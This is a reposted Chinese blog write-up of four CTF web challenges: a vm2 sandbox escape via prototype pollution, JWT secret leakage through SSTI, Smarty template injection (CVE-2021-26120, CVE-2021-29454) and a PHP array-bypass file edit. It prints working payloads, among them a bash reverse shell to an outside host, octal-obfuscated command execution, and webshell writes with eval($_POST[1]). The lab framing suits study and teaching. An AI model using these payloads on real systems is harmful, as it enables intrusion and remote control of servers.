本文介绍: 引用vm2,有JSON.parse解析,并且存在merge方法clone调用merge,存在原型链污染漏洞。直接去网上找相关漏洞发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)路由接收name参数,如果存在且值不为admin,将输出JWT加密token值;路由接收参数token,然后进行解密,如果为admin返回flag然后密钥放到我们解密网站验证成功,我们直接修改admin。中,.匹配除了换行符以外的所有字符postmanPOST发送即可


[HZNUCTF 2023 final]eznode

考点:vm2沙箱逃逸、原型链污染

打开题目提示找找源码
在这里插入图片描述
直接访问./app.js得到

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

引用了vm2,有JSON.parse解析,并且存在merge方法clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

payload如下

{
    "shit":"1",
    "__proto__": {
        "shellcode":"let res = import('./app.js'); res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'").toString();"
    }
}

postmanPOST发送即可
反弹shell成功,得到flag
在这里插入图片描述

[MoeCTF 2021]地狱通讯-改

考点:JWT解密、ssti

源码如下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        return render_template('flag.html', name=name)


if __name__ == "__main__":
    app.run()

分析一下,/路由接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello路由接收参数token,然后进行解密,如果为admin返回flag

首先第一步获取token值,访问/hello
在这里插入图片描述然后要找到jwt解密要的密钥
我们利用ssti获取

/hello?flag={0.__class__.__init__.__globals__}

在这里插入图片描述
然后把密钥放到我们解密网站验证成功,我们直接修改admin
在这里插入图片描述
访问得到flag
在这里插入图片描述

[红明谷CTF 2022] Smarty Calculator

考点:Smarty模板注入,CVE-2021-26120

扫一下目录发现源码泄露
在这里插入图片描述看下源码发现是Smarty模板

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
    <h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
    <form action="" method="POST">
        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
        <br>
        <input type="submit" value="Submit">
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|<|flag|?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
		  echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert("你还没有登录")</script>";
  }
}

有waf过滤,然后判断cookie
我们试试注入语句发现成功
在这里插入图片描述
由于我们在/Smarty/Smarty.class.php知道该版本
在这里插入图片描述

方法一 CVE-2021-26120

直接去网上找相关漏洞发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载版本源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配

if (!preg_match('/^[a-zA-Z0-9_x80-xff]+$/', $_name))

题目中的正则匹配

if (preg_match('/[a-zA-Z0-9_x80-xff](.*)+$/', $_name))

可以发现变成!,后面的(.*)+中,.匹配除了换行符以外的所有字符*匹配0次或者多次+匹配一次或者多次,我们可以使用多次换行绕过

漏洞的poc
在这里插入图片描述修改一下即可得到flag

data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}

在这里插入图片描述

方法二 CVE-2021-29454

data={$poc="poc"}{math equation="("\163\171\163\164\145\155")("\143\141\164\40\57\166\141\162\57\167\167\167\57\146\52")"}

在这里插入图片描述

方法三 写马蚁剑连接

也是利用八进制实现绕过

data={$poc="poc"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\61\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\120\117\123\124\133\61\135\51\73\77\76")"}

在这里插入图片描述

prize_p6

考点:数组绕过

源码

 <?php

function x(){
    exit();
}

if(isset($_GET['f'])){
    $content = $_GET['content'];
    if (preg_match('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|../i', $content)) {
        die('hacker');
    }
    if ($_GET['f'] == "create"){
        file_put_contents($content, '<?=x();?>' . $content);
    }
    elseif ($_GET['f'] == "edit"){
        $s1 = $_GET['s1'];
        $s2 = $_GET['s2'];
        if (strlen($s1) > 20 || strlen($s2) > 20 || preg_match('/=|x| |?|<|>|(|)/i', $s1) || preg_match('/=|x| |?|<|>|(|)/i', $s2)) {
            die('hacker');
        }
        if(file_exists($content)){
            $s = file_get_contents($content);
            $s = str_replace($s1, $s2, $s);
            file_put_contents($content, $s);
        }
        else{
            die("file no exits!");
        }

    }
    else{
        include($content);
    }
}else{
    highlight_file(__FILE__);
}
?> 

分析一下,定义了x()函数直接退出程序;对参数content进行正则匹配。如果参数f为create,那么在文件写入<?=x();?>拼接上content值;如果参数f为edit,那么接收参数s1和s2,长度不能大于20并且匹配一些符号;如果文件存在,读取文件替换部分值(可控)

我们先创建一个shell.php

?f=create&content=shell.php

然后成功写入<?=x();?>,由于会退出程序,所以我们利用replace替换掉x函数实现RCE,然后数组绕过正则匹配,payload如下

?f=edit&content=shell.php&s1[]=x();&s2[]=eval($_POST[1]);

然后访问shell.php命令执行即可
在这里插入图片描述

原文地址:https://blog.csdn.net/m0_73512445/article/details/134429014

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如若转载,请注明出处:http://www.7code.cn/show_8601.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注